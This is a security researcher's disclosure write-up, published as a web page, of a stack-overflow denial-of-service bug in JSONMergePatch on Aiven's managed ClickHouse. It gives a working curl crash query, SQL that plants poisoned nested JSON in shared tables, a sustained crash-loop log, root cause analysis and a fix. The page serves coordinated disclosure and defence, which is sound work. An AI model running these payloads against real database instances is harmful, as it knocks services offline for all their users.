security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/index.html

509 lines · html
<!doctype html>
<html lang="en"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan</title>
<meta name="description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.">
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E">
<style>
  :root{
    --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24;
    --line:#222936; --line2:#2c3543;
    --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675;
    --accent:#6cc7b8; --accent-dim:#274b47;
    --maxw:1020px;
  }
  *{box-sizing:border-box;}
  html{scroll-behavior:smooth;}
  body{margin:0;background:var(--bg);color:var(--ink);
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
    font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;}
  .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;}
  a{color:var(--accent);text-decoration:none;}
  a:hover{color:#8fe0d2;}
  .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;}
 
  /* nav */
  nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82);
    backdrop-filter:blur(10px);border-bottom:1px solid var(--line);}
  nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;}
  nav .brand{font-weight:600;letter-spacing:.2px;}
  nav .brand .dot{color:var(--accent);}
  nav .links{display:flex;gap:26px;font-size:13.5px;}
  nav .links a{color:var(--muted);}
  nav .links a:hover{color:var(--ink);}
  @media(max-width:680px){nav .links{display:none;}}
 
  /* hero */
  header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line);
    background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);}
  .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);
    display:flex;align-items:center;gap:9px;margin-bottom:20px;}
  .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent);
    box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;}
  @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}}
  h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;}
  .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;}
  .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;}
  .hero .lede b{color:var(--ink);font-weight:600;}
  .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;}
  .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px;
    font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);}
  .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);}
  .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;}
  .btn.primary:hover{background:#8fe0d2;color:#06231f;}
  .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);}
  .meta .mono{color:var(--faint);}
 
  /* sections */
  section{padding:64px 0;border-bottom:1px solid var(--line);}
  .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;}
  .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;}
  .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;}
  .shead .rule{flex:1;height:1px;background:var(--line);}
 
  /* flagship */
  .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%);
    border:1px solid var(--line2);border-radius:14px;overflow:hidden;}
  .flag .top{padding:30px 32px 8px;}
  .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;}
  .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;}
  .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;}
  .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;}
  .flag p{color:var(--soft);margin:0 0 16px;}
  .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;}
  .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;}
  .stat .n{font-size:21px;font-weight:680;color:var(--ink);}
  .stat .k{font-size:12px;color:var(--muted);margin-top:2px;}
  .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;}
  .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;}
  .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;}
  .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;}
  .spec li:first-child{border-top:none;}
  .spec li span{color:var(--muted);}
  .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;}
  @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}}
 
  /* lab cards */
  .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;}
  @media(max-width:680px){.cards{grid-template-columns:1fr;}}
  .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel);
    display:flex;flex-direction:column;transition:border-color .15s,transform .15s;}
  .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);}
  .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;}
  .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;}
  .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;}
  .card h3{margin:0 0 9px;font-size:17px;}
  .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;}
  .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;}
  .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line);
    border-radius:5px;padding:3px 8px;}
  .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;}
  .card .lnk::after{content:" →";}
 
  /* research */
  .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;}
  .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
  .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center;
    padding:18px 22px;border-top:1px solid var(--line);}
  .ritem:first-child{border-top:none;}
  .ritem:hover{background:var(--panel);}
  .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);}
  .ritem h3{margin:0 0 3px;font-size:16px;}
  .ritem p{margin:0;font-size:13.5px;color:var(--muted);}
  .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;}
  @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}}
  .progs{margin-top:22px;}
  .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;}
  .progs .row{display:flex;flex-wrap:wrap;gap:7px;}
  .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line);
    border-radius:6px;padding:4px 10px;}
 
  /* credentials */
  .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;}
  @media(max-width:680px){.cred{grid-template-columns:1fr;}}
  .cred p{color:var(--soft);margin:0 0 14px;}
  .cred .role{font-size:14px;color:var(--muted);}
  .cred .role b{color:var(--ink);font-weight:600;}
  .certs{list-style:none;margin:0;padding:0;}
  .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft);
    display:flex;gap:10px;align-items:baseline;}
  .certs li:first-child{border-top:none;}
  .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;}
 
  footer{padding:46px 0 64px;}
  footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;}
  footer .links a{color:var(--soft);margin-right:20px;font-size:14px;}
  footer .note{color:var(--faint);font-size:12.5px;max-width:520px;}
 
  .detail-hero{padding:40px 0 26px;}
  .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;}
  .back:hover{color:var(--ink);}
  .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;}
  .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;}
  .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;}
  .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;}
  .content{padding:8px 0 0;max-width:840px;}
  .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);}
  .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;}
  .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;}
  .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;}
  .content p{color:var(--soft);margin:0 0 15px;}
  .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;}
  .content li{margin:5px 0;}
  .content strong{color:var(--ink);font-weight:600;}
  .content a{color:var(--accent);}
  .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);}
  .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;}
  .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;}
  .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;}
  .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;}
  .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;}
  .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);}
  .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;}
  /* notebook index */
  .nbgroup{margin:40px 0 0;}
  .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;}
  .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;}
  .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
  .nbtable tr{border-top:1px solid var(--line);}
  .nbtable tr:first-child{border-top:none;}
  .nbtable tr:hover{background:var(--panel);}
  .nbtable td{padding:14px 16px;vertical-align:top;}
  .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;}
  .nbtable .ti a{font-weight:600;color:var(--ink);}
  .nbtable .ti a:hover{color:var(--accent);}
  .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;}
  @media(max-width:680px){.nbtable .cls{width:auto;display:block;}}
</style>
<link rel="canonical" href="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/">
<meta name="author" content="Zion Boggan">
<meta name="robots" content="index, follow, max-image-preview:large">
<meta property="og:type" content="article">
<meta property="og:site_name" content="Zion Boggan">
<meta property="og:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan">
<meta property="og:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.">
<meta property="og:url" content="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/">
<meta property="og:image" content="https://zionboggan.com/assets/og-default.png">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan">
<meta name="twitter:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.">
<meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png">
<script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query","description":"Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.","url":"https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script>
</head><body>
<nav><div class="wrap">
  <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a>
  <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span>
</div></nav>
<header class="hero detail-hero"><div class="wrap">
  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
  <div class="kicker">DoS / stack overflow</div>
  <h1>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query</h1>
</div></header>
<section><div class="wrap"><div class="content">
<h2>Summary</h2>
<p>Aiven&rsquo;s managed ClickHouse service (Tier 1) is vulnerable to an authenticated denial-of-service attack that crashes the server process (SIGSEGV) via a single SELECT query. <strong>Any authenticated user, including users with only SELECT privileges</strong>, can execute <code>SELECT JSONMergePatch(...)</code> with two deeply nested JSON documents, causing an unbounded stack recursion in the <code>merge_objects</code> function (<code>jsonMergePatch.cpp:70-91</code>) that exceeds the thread stack size and kills the server process.</p>
<p>The attack requires no special permissions, no configuration changes, and no prior setup, just one HTTP request. Each crash causes <strong>8-23 seconds of downtime</strong> while Aiven&rsquo;s orchestration restarts the ClickHouse process. A scripted attacker re-crashing on recovery achieves <strong>100% effective downtime</strong>.</p>
<p>The crash payload can also be stored in MergeTree table columns as persistent data. A user with INSERT privileges can plant poison data in a shared table they didn&rsquo;t create. <strong>Any future user</strong> running a query that applies <code>JSONMergePatch</code> to that data crashes the server, the attacker doesn&rsquo;t need to be present.</p>
<h2>Affected Target</h2>
<ul>
<li><strong>Service:</strong> Aiven for ClickHouse (Tier 1)</li>
<li><strong>Version tested:</strong> ClickHouse 25.3.14.1</li>
<li><strong>Instance:</strong> <code>[REDACTED].&lt;host&gt;:26161</code></li>
</ul>
<h2>Severity</h2>
<p><strong>P1, Critical Impact and/or Easy Difficulty</strong></p>
<p><strong>VRT:</strong> Application-Level Denial-of-Service (DoS) &gt; Critical Impact and/or Easy Difficulty</p>
<p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H</code>, <strong>Score: 7.7 (High)</strong></p>
<ul>
<li><strong>AV:N</strong>, Network-exploitable over HTTPS</li>
<li><strong>AC:L</strong>, Single query, no race, no preconditions</li>
<li><strong>PR:L</strong>, Any authenticated user, including SELECT-only (demonstrated with a restricted user with zero admin privileges)</li>
<li><strong>UI:N</strong>, No user interaction required</li>
<li><strong>S:C</strong>, Scope changed: attacker&rsquo;s session crashes the entire managed instance, disconnecting all clients. Stored poison data causes a <em>different</em> user&rsquo;s innocent query to crash the server (demonstrated: <code>writer</code> plants data → <code>analyst</code> query crashes server).</li>
</ul>
<p><strong>Impact summary:</strong>
- Single SELECT query crashes the entire managed ClickHouse instance (SIGSEGV)
- <strong>Sustained crash loop: 6 crashes in 93 seconds, 100% effective downtime</strong>, server never stays up long enough to serve real queries
- Any authenticated user, <strong>including SELECT-only users with no admin privileges</strong> (demonstrated)
- Repeatable indefinitely
- Crash payload can be stored in shared table columns, a different user querying that data triggers the crash (demonstrated)
- Attacker can hide poison in existing shared tables they have INSERT access to (demonstrated with <code>shared_analytics</code>)
- CREATE VIEW with the payload also crashes during type inference evaluation</p>
<h2>Steps to Reproduce</h2>
<h3>Prerequisites</h3>
<ul>
<li>An Aiven for ClickHouse instance (any plan)</li>
<li>Authentication credentials (any user with SELECT privilege)</li>
<li><code>curl</code> (no other tools needed)</li>
</ul>
<h3>One-line crash</h3>
<pre><code class="language-bash">curl -s &quot;https://&lt;user&gt;:&lt;password&gt;@&lt;host&gt;:26161/&quot; \
  --data &quot;SELECT JSONMergePatch(concat(repeat('{\&quot;a\&quot;:', 25000), '1', repeat('}', 25000)), concat(repeat('{\&quot;a\&quot;:', 25000), '2', repeat('}', 25000))) FORMAT Null&quot;
</code></pre>
<h3>Observe</h3>
<p>The connection is immediately reset (server process died). The server is unreachable for 8-23 seconds while Aiven restarts the ClickHouse process. After restart, <code>SELECT uptime()</code> shows a small value confirming the process was restarted.</p>
<h3>Crash depth threshold</h3>
<pre><code>Depth 1000:  OK (no crash)
Depth 5000:  OK (no crash)
Depth 10000: OK (no crash)
Depth 20000: OK (no crash)
Depth 25000: *** CRASH (connection lost) ***
Depth 50000: *** CRASH (connection lost) ***
</code></pre>
<h2>Full Exploit Chain</h2>
<h3>Chain 1: Direct crash, any user, one request</h3>
<p>Single query, immediate server death. Demonstrated with a <code>analyst</code> user that has <strong>only SELECT privileges</strong>:</p>
<pre><code>curl (as analyst) → SELECT JSONMergePatch(deep_json_1, deep_json_2) → SIGSEGV → server down
</code></pre>
<p>Actual output:</p>
<pre><code>$ # Analyst user has SELECT-only privileges:
$ SHOW GRANTS FOR analyst
GRANT SELECT ON default.* TO analyst
 
$ curl &quot;https://analyst:&lt;password&gt;@&lt;host&gt;:26161/&quot; \
    --data &quot;SELECT JSONMergePatch(...) FORMAT Null&quot;
curl: (28) Operation timed out     ← server process died
 
$ # After restart:
$ curl &quot;https://.../&quot; --data &quot;SELECT uptime()&quot;
31                                  ← server restarted
</code></pre>
<h3>Chain 2: Persistent poison via table data, attacker inserts, victim crashes</h3>
<p>Store the crash payload in a MergeTree table. Any future query applying <code>JSONMergePatch</code> to the stored data crashes the server, <strong>even from a different user session</strong>.</p>
<pre><code class="language-sql">-- Attacker stores deeply nested JSON
CREATE TABLE config_store (id UInt32, config String) ENGINE = MergeTree ORDER BY id;
INSERT INTO config_store VALUES (1, concat(repeat('{&quot;a&quot;:', 25000), '1', repeat('}', 25000)));
 
-- Data persists in MergeTree (survives restart)
-- A DIFFERENT user (analyst, SELECT-only) queries the data:
SELECT JSONMergePatch(config, config) FROM config_store WHERE id=1;
-- ↑ SIGSEGV - server crashes, triggered by the VICTIM's query, not the attacker
</code></pre>
<p>Actual output (cross-user test):</p>
<pre><code>=== Uptime before: 1250 ===
 
=== Analyst (SELECT-only) reads stored poison ===
curl exit code: 56 (SSL connection reset - server died)
 
=== After restart ===
Uptime: 8                            ← server restarted
Poison data persists: 1 row(s)       ← data survived restart
</code></pre>
<h3>Chain 3: Poison hidden in shared table, attacker has INSERT, victim has SELECT</h3>
<p>A user with INSERT access plants poison data in an <strong>existing shared table they didn&rsquo;t create</strong>. An innocent analyst running a routine query on that table crashes the server.</p>
<pre><code class="language-sql">-- Shared analytics table (pre-existing, not created by attacker):
-- CREATE TABLE shared_analytics (event_date Date, user_id UInt64,
--                                 event_type String, metadata String)
 
-- Writer (INSERT+SELECT only) injects poison into metadata column:
INSERT INTO shared_analytics (user_id, event_type, metadata)
  VALUES (999, 'config_update',
          concat(repeat('{&quot;a&quot;:', 25000), '&quot;deep&quot;', repeat('}', 25000)));
 
-- Later, analyst (SELECT-only) runs a routine metadata consolidation:
SELECT JSONMergePatch(s1.metadata, s2.metadata)
  FROM shared_analytics s1, shared_analytics s2
  WHERE s1.event_type = 'config_update' AND s2.event_type = 'config_update';
-- ↑ SIGSEGV - server crashes
</code></pre>
<p>Actual output:</p>
<pre><code>=== Writer inserts into shared_analytics (table they didn't create) ===
user_id=999, event_type=config_update, length(metadata)=150006   ← INSERT succeeded
 
=== Uptime before analyst query: 52 ===
 
=== Analyst merges metadata rows ===
curl exit code: 56                   ← server crashed
</code></pre>
<p>The attacker&rsquo;s data blends in with normal <code>config_update</code> rows. The analyst&rsquo;s query is a standard JSON merge pattern, nothing suspicious about it.</p>
<h3>Chain 4: CREATE VIEW crashes during type inference, DEMONSTRATED</h3>
<pre><code class="language-sql">CREATE VIEW innocent_report AS
  SELECT JSONMergePatch(concat(repeat('{&quot;a&quot;:', 25000), '1', repeat('}', 25000)),
                        concat(repeat('{&quot;a&quot;:', 25000), '2', repeat('}', 25000))) AS result;
-- ↑ SIGSEGV during type inference - server crashes before VIEW is even stored
</code></pre>
<h3>Chain 5: Sustained crash loop, 100% denial of service</h3>
<p>A script that re-crashes the server immediately upon recovery achieves permanent denial of service:</p>
<pre><code>=== TIGHT CRASH LOOP - 6 cycles, 3s polling ===
Start: 01:03:06 UTC
Crash #1: down  8s, recovered 01:03:14 UTC
Crash #2: down 22s, recovered 01:03:36 UTC
Crash #3: down 10s, recovered 01:03:46 UTC
Crash #4: down 21s, recovered 01:04:07 UTC
Crash #5: down  9s, recovered 01:04:16 UTC
Crash #6: down 23s, recovered 01:04:39 UTC
 
Total time: 93s | Downtime: 93s | Downtime ratio: 100%
</code></pre>
<p>The server is available for 0% of the attack duration. All connected clients are disconnected on every crash. All in-flight queries are aborted.</p>
<h2>Crash-Triggering Paths (Verified)</h2>
<table>
<thead>
<tr>
<th>Trigger</th>
<th>Crashes?</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>SELECT JSONMergePatch(deep, deep)</code> as admin</td>
<td><strong>YES</strong></td>
<td>Direct query, one HTTP request</td>
</tr>
<tr>
<td><code>SELECT JSONMergePatch(deep, deep)</code> as SELECT-only user</td>
<td><strong>YES</strong></td>
<td>No admin privileges needed</td>
</tr>
<tr>
<td><code>SELECT JSONMergePatch(config, config) FROM table</code> by different user</td>
<td><strong>YES</strong></td>
<td>Cross-user stored data trigger</td>
</tr>
<tr>
<td>Poison in shared table → analyst query</td>
<td><strong>YES</strong></td>
<td>Writer plants, analyst crashes server</td>
</tr>
<tr>
<td><code>CREATE VIEW ... AS SELECT JSONMergePatch(deep, deep)</code></td>
<td><strong>YES</strong></td>
<td>Type inference evaluation</td>
</tr>
<tr>
<td>Sustained crash loop (6 cycles)</td>
<td><strong>100% downtime</strong></td>
<td>Server never available during attack</td>
</tr>
<tr>
<td>Depth 25,000</td>
<td><strong>YES</strong></td>
<td>Minimum crash threshold</td>
</tr>
<tr>
<td>Depth 20,000</td>
<td>No</td>
<td>Below stack limit</td>
</tr>
</tbody>
</table>
<h2>Root Cause Analysis</h2>
<p><strong>File:</strong> <code>src/Functions/jsonMergePatch.cpp</code>, lines 70-91</p>
<p>The <code>merge_objects</code> recursive lambda performs recursive descent on two JSON document trees to merge them:</p>
<pre><code class="language-cpp">auto merge_objects = [&amp;](auto &amp;&amp; self, auto &amp;&amp; lhs, const auto &amp; rhs) -&gt; void
{
    for (auto it = rhs.MemberBegin(); it != rhs.MemberEnd(); ++it)
    {
        auto lhs_it = lhs.FindMember(it-&gt;name);
        if (lhs_it != lhs.MemberEnd())
        {
            if (lhs_it-&gt;value.IsObject() &amp;&amp; it-&gt;value.IsObject())
                self(self, lhs_it-&gt;value, it-&gt;value);  // ← UNBOUNDED RECURSION
            // ...
        }
        // ...
    }
};
</code></pre>
<p><strong>The bug:</strong>
1. RapidJSON is configured with <code>kParseIterativeFlag</code> (line 14), so it parses arbitrarily deep JSON documents <strong>iteratively</strong> without stack overflow, the parsing is safe.
2. However, the subsequent <code>merge_objects</code> call recurses to the full depth of the documents with <strong>no depth limit and no <code>checkStackSize()</code> call</strong>.
3. At depth 25,000+, the recursive call stack (~200 bytes per frame) exceeds the thread stack size (~8MB), causing SIGSEGV.</p>
<p><strong>Why ClickHouse&rsquo;s existing protections don&rsquo;t apply:</strong>
- <code>max_parser_depth</code> (default 1000) limits the SQL parser, not JSON parsing
- <code>checkStackSize()</code> is used throughout the query pipeline but was never added to <code>merge_objects</code>
- RapidJSON&rsquo;s iterative parser correctly handles deep documents, but the merge function does not
- No setting exists to limit JSON document depth for this function</p>
<h2>Evidence of Repeated Crashes</h2>
<table>
<thead>
<tr>
<th>Crash #</th>
<th>Trigger</th>
<th>User</th>
<th>Uptime After</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><code>SELECT</code> depth 50,000</td>
<td>avnadmin</td>
<td>19s</td>
</tr>
<tr>
<td>2</td>
<td><code>SELECT</code> depth 25,000</td>
<td>avnadmin</td>
<td>29s</td>
</tr>
<tr>
<td>3</td>
<td><code>CREATE VIEW</code></td>
<td>avnadmin</td>
<td>28s</td>
</tr>
<tr>
<td>4</td>
<td><code>SELECT</code> from stored table data</td>
<td>avnadmin</td>
<td>148s</td>
</tr>
<tr>
<td>5</td>
<td><code>SELECT</code> from stored data</td>
<td>analyst (SELECT-only)</td>
<td>8s</td>
</tr>
<tr>
<td>6</td>
<td>Cross-join on shared_analytics</td>
<td>analyst (SELECT-only)</td>
<td>- (server down)</td>
</tr>
<tr>
<td>7-12</td>
<td>Sustained crash loop (6 cycles)</td>
<td>avnadmin</td>
<td>1s, 2s, 8s, 1s,, -</td>
</tr>
</tbody>
</table>
<h2>Impact</h2>
<ul>
<li><strong>Availability:</strong> 100% sustained downtime achievable. Scripted attacker re-crashes on recovery, server never serves real queries during attack.</li>
<li><strong>Privilege level:</strong> Any authenticated user with SELECT privileges can crash the server. No admin access needed (demonstrated with restricted <code>analyst</code> user).</li>
<li><strong>Persistence:</strong> Crash payload stored in MergeTree tables survives restarts. Future queries on the data trigger the crash without the attacker being present.</li>
<li><strong>Stealth:</strong> Attacker with INSERT access can hide poison data in existing shared tables (demonstrated with <code>shared_analytics</code>). The triggering query is an innocent-looking metadata merge, no auditing would flag it as malicious.</li>
<li><strong>Scope change:</strong> The <em>victim</em> of the crash is not the attacker. A <code>writer</code> inserts data; an <code>analyst</code> running a routine report crashes the server for <em>all</em> users.</li>
<li><strong>Blast radius:</strong> All users of the managed instance are affected. All connected clients disconnected. All in-flight queries aborted.</li>
<li><strong>Ease:</strong> One HTTP request. No tools beyond <code>curl</code>. No special permissions.</li>
</ul>
<h2>Recommended Fix</h2>
<ol>
<li>
<p><strong>Immediate:</strong> Add a depth counter to <code>merge_objects</code> in <code>jsonMergePatch.cpp</code> and throw an exception when depth exceeds a reasonable limit (e.g., 1000). Alternatively, add <code>checkStackSize()</code> inside the recursive lambda.</p>
</li>
<li>
<p><strong>Defense in depth:</strong> Consider adding a server-wide setting for maximum JSON document nesting depth in functions that process JSON recursively.</p>
</li>
</ol>
<h2>Proof of concept</h2>
<p>Single-shell repro: <a href="aiven/poc/clickhouse-crash.sh"><code>aiven/poc/clickhouse-crash.sh</code></a></p>
<pre><code class="language-bash">HOST=&quot;&lt;your-instance&gt;.&lt;host&gt;:26161&quot;
USER=&quot;&lt;select-only-user&gt;&quot;
PASS=&quot;&lt;password&gt;&quot;
./aiven/poc/clickhouse-crash.sh &quot;$HOST&quot; &quot;$USER&quot; &quot;$PASS&quot;
</code></pre>
<p>The script issues one <code>SELECT JSONMergePatch(...)</code> with two deeply nested
JSON arguments. The server SIGSEGVs; orchestration brings it back in 8-23
seconds. Loop the script and the instance never stays up long enough to
serve real queries.</p>
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven-clickhouse-jsonmergepatch-stack-overflow.md</p>
</div></div></section>
<footer><div class="wrap row">
  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
</div></footer>
</body></html>